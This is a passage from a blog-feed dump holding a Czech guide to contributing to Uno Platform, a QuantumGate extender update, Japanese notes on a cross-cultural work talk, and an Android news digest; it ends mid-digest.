The post How to Setup the Caddy Web Server with php-fpm appeared first on Jixee is a task and communication hub for developers.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.caddyserver.com/download</link><link>https://www.github.com/nortone/caddythings</link><link>https://www.github.com/mholt/caddy/wiki/Troubleshooting-PHP-FPM-and-FastCGI</link><link>https://www.caddyserver.com/docs/fastcgi</link><link>https://www.github.com/mholt/caddy/wiki/Troubleshooting-PHP-FPM-and-FastCGI</link><link>https://www.github.com/caddyserver/examples</link><link>https://www.github.com/nortone/caddythings</link></links><tags><tag>Development</tag></tags><images /><indexedAt>2019-03-27T17:24:54Z</indexedAt><publishedAt>2019-03-27T16:30:15Z</publishedAt><reindexedAt>2019-03-27T17:24:54Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>16759195872030681958</blogId><blogName>Jixee is a task and communication hub for developers</blogName><blogUrl>https://jixee.me</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>10510950600574288675</id><author>Martin Zikmund</author><url>https://blog.mzikmund.com/2019/03/vyvoj-uno-platform-cast-1/</url><title>Vývoj Uno Platform (část 1.)</title><text>Jak jsem zmínil v jednom z předchozích článků, jsem nadšený z příslibu Uno Platform – přinést Univerzální Platformu Windows na všechny platformy. Chtěl jsem s vývojem projektu pomoci přispěním do zdrojového kódu na GitHubu. Protože vím, že začít pracovat na podobně velkém projektu může být náročné, chci se v sérii článků podělit o kroky, které vedly k mému prvnímu Pull Requestu. 
 
V této části se podíváme na základy – vysvětlíme si, jak Uno zapadá do světa multi-platformních frameworků, sestavíme Uno.UI na našem počítači, seznámíme se se zdrojovým kódem a vybereme si issue na které budeme pracovat. 
Uno 101
Než začneme přispívat do Uno Platform, musíme pochopit její filosofii. Existuje mnoho multi-platformních frameworků. Dovolím si s klidem v duši ignorovat ty JavaScriptové a budu se soustředit na scénu C#. Začneme pohledem na Xamarin.Forms a Avalonia UI a pak se seznámíme s tím, jak se od nich Uno liší. 
Xamarin.Forms má svůj vlastní XAML dialekt a ekosystém ovladacích prkvů a nástrojů. Framework na pozadí používá nativní ovladací prvky dané platformy s pomocí systému rendererů. Tato strategie bohužel vede k tomu, že funkcionalita kterou ovladací prvky v XAMLu nabízí je často pouze průnikem toho, co nabízí všechny platformy. Kromě toho, rozdíly v XAML dialektu mohou být matoucí pro vývojáře, kteří přichází z platforem WPF nebo UWP. Komunita Xamarin.Forms je však velmi aktivní a existuje množství knihoven s ovladacími prvky a nástroji, takže pokud potřebujete něco, co Xamarin.Forms zatím neumí, pravděpodobně to najdete na GitHubu. 
Avalonia UI také má svůj vlastní XAML dialekt postavený na WPF. V případě ovladacích prvků volí úplně opačný přístup než Xamarin.Forms – používá custom rendering kdekoliv je to možné.  Přestože to zajistí stejné UI na všech zařízeních, u některých ovladacích prvků pak chybí nativní “feeling” který uživatelé očekávají. 
Jak to vidí Uno Platform
Uno Platform zvolila UWP XAML dialekt nejen jako základ, ale s cílem 100% kompatibility – včetně skvělých vlastností jako jsou AdaptiveTriggers a control templating. Díky kompatibilitě mohou vývojáři vyvíjet proti UWP a využívat všechny nástroje, které Visual Studio nabízí. Na pozadí se používají nativní ovladací prvky dané platformy pro zajištění nativního chování, ale vzhled samotný je plně přizpůsobitelný s cílém poskytnout jednotné UI. 
Uno ale nekončí u UI. Uvědomuje si i další oblast, která je při vývoji multiplatformních aplikací náročná – API specifická pro platformu (např. práci s hardware). Namísto toho, aby vývojář musel psát platformně závislý kód, může použít “nativní” Windows API jako je Geolocator, Launcher a další, která jsou implementována v Uno Platform a na pozadí volají nativní API cílové platformy. Skvělé na tom je, že jakmile znáte UWP, můžete napsat hodně kódu bez toho, abyste museli přemýšlet nad rozdíly mezi platformami a platformně zavislý kód psát pouze pro API která Uno zatím nepodporuje. 
Vytvoření Uno aplikace
Vytvořme si nový projekt pomocí Uno Platform. Nejprve musíme nainstalovat do Visual Studia rozšíření Uno Platform Solution Templates přes menu Tools – Extensions and Updates (VS 2017) nebo Extensions – Manage Extensions (VS 2019). 
&lt;img data-attachment-id="1726" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/unotemplates/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=939%2C300&amp;ssl=1" data-orig-size="939,300" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Uno Platform Solution Templates" data-image-description="Uno Platform Solution Templates 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=300%2C96&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=688%2C220&amp;ssl=1" class="size-full wp-image-1726" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=688%2C220&amp;ssl=1" alt="Uno Platform Solution Templates" width="688" height="220" srcset="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?w=939&amp;ssl=1 939w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=300%2C96&amp;ssl=1 300w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=768%2C245&amp;ssl=1 768w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt; Uno Platform Solution Templates
Poté, co máme rozšíření nainstalované, klikneme na File – New Project a vybereme šablonu Cross-Platform Uno App: 
&lt;img data-attachment-id="1727" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/newunoproject/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=955%2C246&amp;ssl=1" data-orig-size="955,246" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Creating a new Uno App" data-image-description="Creating a new Uno App 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=300%2C77&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=688%2C177&amp;ssl=1" class="size-full wp-image-1727" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=688%2C177&amp;ssl=1" alt="Creating a new Uno App" width="688" height="177" srcset="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?w=955&amp;ssl=1 955w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=300%2C77&amp;ssl=1 300w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=768%2C198&amp;ssl=1 768w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt;Vytvoření nového projektu
Výsledkem je řešení s několika projekty pro cílové platformy a jeden sdílený projekt který všechny referencují. Platformní projekty obsahují pouze minimum nutné pro funkgování aplikace a aplikační logika a UI patří do Shared projektu: 
&lt;img data-attachment-id="1728" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/sharedunoproject/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" data-orig-size="154,93" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Shared Uno project" data-image-description="Shared Uno project 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" class="size-full wp-image-1728" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?resize=154%2C93&amp;ssl=1" alt="Shared Uno project" width="154" height="93" data-recalc-dims="1" /&gt; Shared Uno projekt
Ve sdíleném projektu najdeme soubory App.xaml a MainPage.xaml, které bychom obvykle očekávali v nové UWP aplikaci. Shared projects jsou vlastně takové “balíčky souborů”, které jsou při kompilaci přidány do projektu, který je referencuje. Nejde o referenci jako v případě DLL knihoven a Shared projekt tak nemůže fungovat sám o sobě. API, která může používat jsou určena projektem, který jej referencuje. 
Projekty pro Android, iOS a WASM všechny referencují NuGet balíček Uno.UI, který poskytuje jmenné prostory Windows včetně ovladacích prvků a vlastních implementací mnoha UWP API. 
UWP projekt se od ostatních trochu liší – neobsahuje žádnou referenci na Uno.UI . Jednoduchým důvodem je fakt, že to není třeba – UWP již zahrnuje jmenný prostor Windows , takže všehny odkazy v Shared projektu automaticky budou využívat nativní implementaci UWP API. Díky tomu nejsme nikdy omezováni – pokud v Uno nějaká funkčnost zatím chybí, UWP projekt bude přesto fungovat na 100 %. Navíc můžeme nejprve vyvíjet proti UWP projektu a používat všechn nejnovější nástroje které Visual Studio nabízí včetně Designeru, XAML Live Edit &amp; Continue, atd. 
Sestavení Uno.UI
Pojďme se teď podívat na zdrojový kód Uno platform. Začneme vytvořením forku Uno repository a naklonováním na disk. Prvním krokem je sestavení samotného Uno.UI řešení. 
Pro to musíme nejprve mít ve Visual Studiu nainstalované všechny potřebné workloady a SDK. Naštěstí je vše potřebné popsáno v dokumentaci Una, takže můžete postupovat podle uvedených instrukcí. 
V mém případě sestavení řešení na první pokus neprošlo a musel jsem nejprve samostatně sestavit projekt Uno.UI.BindingHelper.Android a pak znovu celé řešení. Pokud narazíte na jiné problémy, určitě se neváhejte zeptat na Uno Platform Gitteru – tým je velmi přátelský a odpovídá rychle! 
&lt;img data-attachment-id="1722" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/samplesapp/" data-orig-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" data-orig-size="285,142" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="The Samples App" data-image-description="The Samples App 
" data-medium-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" data-large-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" class="size-full wp-image-1722" src="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?resize=285%2C142&amp;ssl=1" alt="The Samples App" width="285" height="142" data-recalc-dims="1" /&gt;Projekty sample aplikace
Abychom otestovali, že vše funguje správně, spustíme si SamplesApp. Najdeme zde projekt pro každou podporovanou platformu a jeden Shared projekt. Doporučuji spustit Android nebo iOS variantu, protože mají nejširší podporu API po UWP, které ale používá přímo nativní UWP API, takže není zrovna nejlepším příkladem pro testování vašeho vývojového prostředí. 
&lt;img data-attachment-id="1723" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/20190326_151406000_ios/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=2208%2C1242&amp;ssl=1" data-orig-size="2208,1242" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Sample app up and running on iPhone" data-image-description="Sample app up and running on iPhone 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=688%2C387&amp;ssl=1" class="size-large wp-image-1723" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=688%2C387&amp;ssl=1" alt="Sample app up and running on iPhone" width="688" height="387" srcset="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=1600%2C900&amp;ssl=1 1600w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?w=1376&amp;ssl=1 1376w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?w=2064&amp;ssl=1 2064w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt;Ukázková aplikace běžící na iPhone
  
Průvodce zdrojovým kódem
Můžeme začít obecným pohledem na celé řešení. Zde je screenhot jeho hlavních složek: 
&lt;img data-attachment-id="1724" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/solution/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" data-orig-size="191,145" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Root of Uno.UI" data-image-description="Root of Uno.UI 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" class="size-full wp-image-1724" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?resize=191%2C145&amp;ssl=1" alt="Root of Uno.UI" width="191" height="145" data-recalc-dims="1" /&gt;Složky Uno.UI
Podívejme se na každou složku zvlášť: 

_Build – obsahuje projekt Uno.UI.Build se skripty, nuspec a dalšími zdroji které se využívají pro sestavení Una
Addins – nyní obsahuje projekt Uno.UI.Lottie který obsahuje experimentální podporu pro Lottie animace
SamplesApp – ukázková aplikace pro všechny podporované platformy (zároveň slouží pro UI testy)
SolutionTemplate – šablona pro File -&gt; New Project kterou získáte instalací rozšíření Uno pro Visual Studio
Tools – různé nástroje a generátory
Uno.UI – hlavní projekty Una, včetně Uno a Uno.UI které obsahují většinu logiky
Uno.Xaml – implementace XAMLu která odpovídá UWP XAMLu

Možná jste si všimli, že zde nenajdeme soro žádné “platformně-specifické” projekty – máme to pouze Uno a Uno.UI. Jak to celé tedy funguje? Uno používá multi-targeting. Když otevřeme Uno.csproj, uvidíme následující: 


Element  obsahuje výčet platform které Uno podporuje. V csproj jsou některé výchozí reference které jsou společné pro všechny frameworky, ale pak zde najdeme i platformně-závislé reference: 


V této ukázce zjišťuje Condition attribut, aby uvedené reference byly kompilovány pouze proti platformě MonoAndroid80. 
A co se zdrojovým kódem? Můžeme si povšimnou dalšího zajímavého elementu v .csproj: 


Tento soubor props definuje kompilační konstanty pro jednotlivé platformy: 


Jednodušší API mohou být implementovány s jejich pomocí. Skvělým příkladem je Windows.System.Launcher : 


Na základě konstanty je vykonán správný platformně-specifický kód. 
Uno.CrossTargetting.props také referencuje další soubor PlatformItemGroups.props , který zajišťuje, že pro konkrétní cílové platformy budou pro kompilaci zahrnuta pouze podmnožina souborů se zdrojovým kódem pomocí speciálních sufixů v názvu souboru: 


Příkladem může být API Windows.Graphics.Display.BrightnessOverride jehož implementace se skládá z následujících souborů: 

BrightnessOverride.cs – logika společná pro všechny platformy
BrightnessOverride.iOS.cs – implementace pro iOS
BrightnessOverride.Android.cs – implementace pro Android
BrightnessOverride.wasm.cs – implementace pro WASM

Výběr issue
V  sekci Issues v repozitáři Uno.UI najdeme vždy množství aktivních bugů, návrhů nových funkcí a vylepšení. Pokud si nejste jistí obtížností konkrétní issue, můžete se vždy zeptat na Gitteru a tým Una vám nějakou úlohu doporučí. 
Já získal tip na svoji první issue od samotného architekta Una Jérôme Labana, a můžete ji najít zde. 
&lt;img data-attachment-id="1721" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/issueinfo/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=630%2C128&amp;ssl=1" data-orig-size="630,128" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="A nice isolated feature is great for first contribution" data-image-description="A nice isolated feature is great for first contribution 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=300%2C61&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=630%2C128&amp;ssl=1" class="wp-image-1721 size-full" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?resize=630%2C128&amp;ssl=1" alt="A nice isolated feature is great for first contribution" width="630" height="128" srcset="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?w=630&amp;ssl=1 630w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?resize=300%2C61&amp;ssl=1 300w" sizes="(max-width: 630px) 100vw, 630px" data-recalc-dims="1" /&gt;Izolovaná issue je obvykle vhodná pro první práci na projektu
Shrnutí
V této části našeho prvního dobrodružství Unem jsme si prošli vše podstatné do začátku. Nyní máme lepší představu jak do sebe vše zapadá a máme vybranou issue. V dalším článku se budu soustředit na to, jak jsem postupoval při implementaci vlastností třídy  DisplayInformation pro iOS a Android.</text><languageCode>cs</languageCode><locationCode /><coordinates /><links><link>https://www.platform.uno/</link><link>https://www.github.com/nventive/Uno</link><link>https://www.github.com/nventive/Uno/pull/711</link><link>https://www.github.com/xamarin/Xamarin.Forms</link><link>http://www.avaloniaui.net/</link><link>https://www.platform.uno/</link><link>https://www.github.com/nventive/Uno/blob/master/doc/articles/debugging-uno-ui.md</link><link>https://www.gitter.im/uno-platform/Lobby</link><link>https://www.github.com/nventive/Uno/issues</link><link>https://www.gitter.im/uno-platform/Lobby</link><link>https://www.github.com/jeromelaban</link><link>https://www.github.com/nventive/Uno/issues/385</link><link>https://www.addtoany.com/add_to/facebook?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fvyvoj-uno-platform-cast-1%2F&amp;linkname=Vývoj Uno Platform (část 1.)</link><link>https://www.addtoany.com/add_to/twitter?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fvyvoj-uno-platform-cast-1%2F&amp;linkname=Vývoj Uno Platform (část 1.)</link><link>https://www.addtoany.com/add_to/email?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fvyvoj-uno-platform-cast-1%2F&amp;linkname=Vývoj Uno Platform (část 1.)</link><link>https://www.addtoany.com/share#url=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fvyvoj-uno-platform-cast-1%2F&amp;title=Vývoj Uno Platform (část 1.)</link></links><tags><tag>WinRT &amp; Universal Windows Platform</tag><tag>XAML</tag><tag>displayinformation</tag><tag>uno platform</tag><tag>UWP</tag></tags><images /><indexedAt>2019-03-27T16:30:08Z</indexedAt><publishedAt>2019-03-27T16:28:39Z</publishedAt><reindexedAt>2019-03-27T16:31:20Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2834258973408724931</blogId><blogName>Martin Zikmund</blogName><blogUrl>https://blog.mzikmund.com</blogUrl><blogRank>2</blogRank><authority>3</authority></post><post><id>748982021322459620</id><author>Karel Donk</author><url>https://blog.kareldonk.com/video-and-audio-communications-extender-coming-for-quantumgate/</url><title>Video and Audio Communications Extender coming for QuantumGate</title><text>Right now I’m working on an extender for QuantumGate that demonstrates how to do video and audio communications, comparable to video and audio calls via WhatsApp and Skype. With this extender I want to test QuantumGate’s performance with real-time communications as well as provide other programmers with another example of how to build an extender for Quantumgate. Currently there’s already an example extender included in the project’s source code that demonstrates chat- and file transfer functionality. Once this new extender is finished, it should be relatively easy for someone to learn from these examples and use them to build a WhatsApp- or Skype like application running on top of QuantumGate. There are still many things on my to-do list for QuantumGate, but currently, having some more examples demonstrating how to use it has high priority.</text><languageCode>en</languageCode><locationCode>gb</locationCode><coordinates /><links><link>http://www.quantumgate.org/</link><link>https://www.github.com/kareldonk/QuantumGate</link></links><tags><tag>Information Technology</tag><tag>Personal</tag><tag>Programming</tag><tag>Software</tag><tag>QuantumGate</tag></tags><images /><indexedAt>2019-03-27T16:20:54Z</indexedAt><publishedAt>2019-03-27T16:20:11Z</publishedAt><reindexedAt>2019-03-27T16:20:54Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17474964959366833382</blogId><blogName>Karel Donk</blogName><blogUrl>https://blog.kareldonk.com</blogUrl><blogRank>1</blogRank><authority>7</authority></post><post><id>1073307383622443889</id><author>awwa 500</author><url>http://awwa500.blogspot.com/2019/03/blog-post.html</url><title>外国人との英語での働き方講座に参加してきました</title><text>3/22に開催された「外国人との英語での働き方講座」に参加してきたのでメモします。申し込んだときには気付いていなかったのですが、定員100人に対して300人を超える申し込みのあった超人気イベントでした。私は109番目のエントリーで、キャンセルが出て繰り上がりで参加できることになったのは幸運でした。  同じ内容のイベントが4/5にも開催されるそうですが、定員220人に対して申し込み数600人超えという、ちょっとしたカンファレンス級のイベントになっていたりします。   概要イベントの内容としては、「マンガでわかる外国人との働き方」という書籍の内容紹介＋α。Stripe Japan社代表取締役社長のダニエルさんによる講演に続き、著者である千代田さん（いわゆる「ちょまど」さんですね）、ロッシェルさんに加えてダニエルさんによるトークセッション、最後に即売会＆サイン会という流れ。  Stripe Japanダニエルさんの講演まずは、ダニエルさんの講演内容のメモ。 Stripeは世界11箇所にオフィスを構える多国籍企業で社員は約1600人。D&amp;Iを重視しており、採用、社内、社外との関わりなどさまざまな場面で取り組みが行われている。いい会社なんだなぁ、という印象。 採用（この辺、メモが不十分）採用の応募フォームでGitHubアカウントを必須にしないRooney Ruleを取り入れ、マイノリティが候補者にならないオファーを出さない社内Onboadingバディシステムランチボット強制的に二人をマッチさせてランチに行かせるSocial Eventsアルコール中心にならないように時間帯を意識する例えば、子供のお迎えで早く帰宅する人がいる場合、毎回遅い時間に開催するとその人が排除されることになるMeetingアジェンダの事前共有時差を意識社外との関わり（ここも、メモが不十分）Conference&amp;Events奨学金の提供  トークセッション次に、書籍の内容をベースにしたトークセッション。細かい内容は書籍を読んでもらうのが一番だと思うので概要だけ。書籍の内容は、外国人と仕事をする上でありがちなシチュエーションとその背景および対応方法のサンプルがセットになってまとめられているもの。「マンガでわかる」と題しているだけあってサラリと読みやすいです。中には異文化間コミュニケーション特有のものではなく、コテコテのドメスティック企業内でも気をつけなきゃね、って話題も含まれているので（起承転結は通じない、とか）、全体的に社会人1年目、2年目の方にはよく刺さる内容ではないかと思います。 Q&amp;AQ&amp;Aの中で印象的だったやり取りを一つだけ紹介すると、参加者から「英語の壁を乗り越えたと感じた瞬間とはどのようなものか？」という質問に対するちょまど氏の「失敗を恐れるのをやめたとき」という回答。 書籍を読んだ感想私は社会人経験約20年のオッサンなので、書籍に出ている事例の多くは体験済みで、過去にパートナー企業に所属する外国人（特にアメリカ人）と仕事上で関わった時に、自分の感覚と大きく異なる反応が返ってきたり、対応がなされたりすることがよくありました（今でもしょっちゅうあります）。それまではなんとなく「世の中、色んな人がいるねー」ぐらいにしか思っていなかったのですが、この書籍にはそういう状況になる背景や、その時どう対処すればよかったのかが書いてあるので、とても参考になりました。次に似たような場面が来た時に思い出して実践してみようと思います。 私が所属している会社では、ここ数年、外国人社員の割合が急速に増えてきており、アジア圏を中心に多数の国の人が働くようになりつつあります。当然、そういった人たちと関わることも増えており、今後も減ることはないものと考えています。そんな状況で、書籍の最後にあった以下の文章はとても重要なことだと思うので、肝に銘じておこうと思います。 各文化にはそれぞれ違った尺度がある自分の価値観を押し付けるのではなく、相手の行動の裏にある文化的背景を学ぶように努力しましょうとりあえずサインももらえて嬉しい！ヽ（ヽ *ﾟ▽ﾟ*）ノわーい！ って感じの使い方で問題ないですかね。</text><languageCode>ja</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.connpass.com/event/124087</link><link>https://www.connpass.com/event/124362</link><link>https://1.bp.blogspot.com/-wxNTBedgLf4/XJs6nDkWKtI/AAAAAAAArBM/IyKG5VLxRO4Px9Z5CgaPmnK0e8Wsw1dnACLcBGAs/s1600/DSC_1364.JPG</link><link>https://www.amzn.to/2ussIiG</link><link>https://www.twitter.com/danielshi</link><link>https://www.twitter.com/chomado</link><link>https://www.twitter.com/chomado</link><link>https://www.twitter.com/JICRochelle</link><link>https://info.kakeai.com/article-28</link><link>https://www.ifinance.ne.jp/glossary/global/glo272.html</link><link>https://3.bp.blogspot.com/-AdEYPy26MX4/XJs6oJpac5I/AAAAAAAArBQ/UR0xzTilRC0qPKC7t91nI1HbboJVIgcbACLcBGAs/s1600/DSC_1393.JPG</link><link>https://1.bp.blogspot.com/-XC4c-nm2GvQ/XJs6nLLX6EI/AAAAAAAArBI/P5irRpWP2zc4e8JsOcx8EriR9ajcyRiAgCLcBGAs/s1600/DSC_1392.JPG</link></links><tags /><images /><indexedAt>2019-03-27T16:16:00Z</indexedAt><publishedAt>2019-03-27T16:13:00Z</publishedAt><reindexedAt>2019-03-27T16:16:00Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17573834930962144235</blogId><blogName>なにがでるか</blogName><blogUrl>http://awwa500.blogspot.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>2775070880382394206</id><author>arabianow</author><url>https://arabianow.wordpress.com/2019/03/27/google-alert-android-3508/</url><title>Google Alert – Android</title><text>Android  
 Daily update ⋅ March 27, 2019 





  NEWS  




   
    5 secret Android features you need to use     


  Komando  
OK, here's the thing, I have an affection for the Android operating system and the freedom it provides when buying a smartphone and acquiring apps.
 


   
   
   
  Flag as irrelevant  


 





   
    The Apple Music app has been installed on 40 million Android devices     


  AppleInsider  
Though extremely Apple-centric, Apple Music has been installed by over 40 million Android users worldwide, new research estimates suggest.
 
 Apple Music Surpasses 40 Million Installs on Android Devices  – Mac Rumors 
 Apple Music App for Android Updated With Refreshed Browse Tab and Chromebook Support  – Mac Rumors 
 The popularity of Apple Music on Android is on the rise  – BGR 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Android Security Bulletin March 2019: What you need to know     


  TechRepublic  
The latest Android Security Bulletin brings to us yet another mixture of vulnerabilities marked Critical and High. This time around the System was the …
 


   
   
   
  Flag as irrelevant  


 





   
    WhatsApp beta for Android offers a first look at dark mode in latest update     


  9to5Google  
WhatsApp is one of the most used messaging services on the planet, and it's looking like the Android client is about to pick up an official dark mode.
 
 WhatsApp's latest Android beta gets Dark Mode  – GSMArena.com 
 Here's our first look at WhatsApp's dark mode  – Android Police 
 WhatsApp closer to protecting the retinas of Android users  – Phone Arena 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Pre-installed Android apps could be putting your privacy at risk     


  The INQUIRER  
PRE-INSTALLED ANDROID APPS are usually handy tools or a bit of filler, but some boffins have discovered they can eat into your privacy.
 


   
   
   
  Flag as irrelevant  


 





   
    This should be the future of Android notifications     


  Computerworld  
I'll admit it: I have a bit of a love-hate relationship with the way my phone handles notifications. Android notifications, y'see, get a lot of things right.
 


   
   
   
  Flag as irrelevant  


 





   
    Firefox Lockbox provides access to your passwords on Android     


  Engadget  
Mozilla's Firefox Lockbox has been helping iOS users keep tabs on their many passwords for a while, and now it's making that tool available on …
 
 Firefox Lockbox brings your saved Firefox passwords to Android's autofill  – 9to5Google 
 First look at Firefox Lockbox for Android  – Ghacks Technology News 
 Mozilla just launched an Android password manager  – TNW 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   



                                                                            

           


 
 

 


   
    Apple's new no-fee credit card is an aggressive move to control more of your digital life and keep …     


  Business Insider  
Consider also that it's a move that protects against iPhone users switching to Android: It's enough of a pain to ditch iMessage and its blue bubbles; can …
 


   
   
   
  Flag as irrelevant  


 





   
    If Apple is really serious about services, it would support Android and Windows     


  Mashable  
Unlike open platforms such as Android and Windows, Apple's strength is its control of both hardware and software. And now it's adding services in as …
 


   
   
   
  Flag as irrelevant  


 





   
    Android Pie for Sprint Galaxy S8 and S8+ rolling out now     


  9to5Google  
Samsung Galaxy S8 and S8+ devices on Sprint should now be getting a taste of Android Pie, as several reports on the Sprint community forums are …
 
 Android 9 Pie rolling out to the Sprint Galaxy S8, S8+, and Note 8 (Updated)  – Android Police 
  Full Coverage  


   
   
   
  Flag as irrelevant  


 





   
    Huawei P30 Pro vs Galaxy S10 Plus: First new Android phones of 2019 face off     


  CNET  
If the Galaxy S10 Plus is the first great phone of 2019, then Huawei wants its just-announced P30 Pro to be even better. Huawei's ambitions are …
 
